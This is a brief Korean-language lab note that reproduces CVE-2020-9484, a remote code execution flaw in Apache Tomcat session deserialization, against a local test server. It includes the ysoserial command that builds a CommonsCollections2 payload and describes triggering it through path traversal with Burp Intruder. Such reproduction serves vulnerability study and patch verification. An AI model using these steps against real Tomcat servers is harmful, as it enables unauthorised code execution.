CVE-2020-9484

Kali 2.0으로 Apache Tomcat Session 역직렬화 코드 실행 취약점 CVE-2020-9484 재현

환경：

1. Kali 2.0
2. apache-tomcat-7.0.61-CVE-2020-9484.tar.gz（webapp은 s2-053이고, 해당 lib에 commons-collections4-4.0.jar를 추가함）
   
   

시작

/yourtomcatdir/bin/startup.sh

payload 생성

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "touch /tmp/9484" > /tmp/22222.session

이용

먼저 S2-053에 접속하여 정상적으로 시작되었는지 확인합니다： http://192.168.152.128:8080/s2-053/
다시 접속하여 패킷을 캡처하고, intruder로 경로 순회를 수행합니다

명령 실행 성공：

Reference ： https://mp.weixin.qq.com/s/OGdHSwqydiDqe-BUkheTGg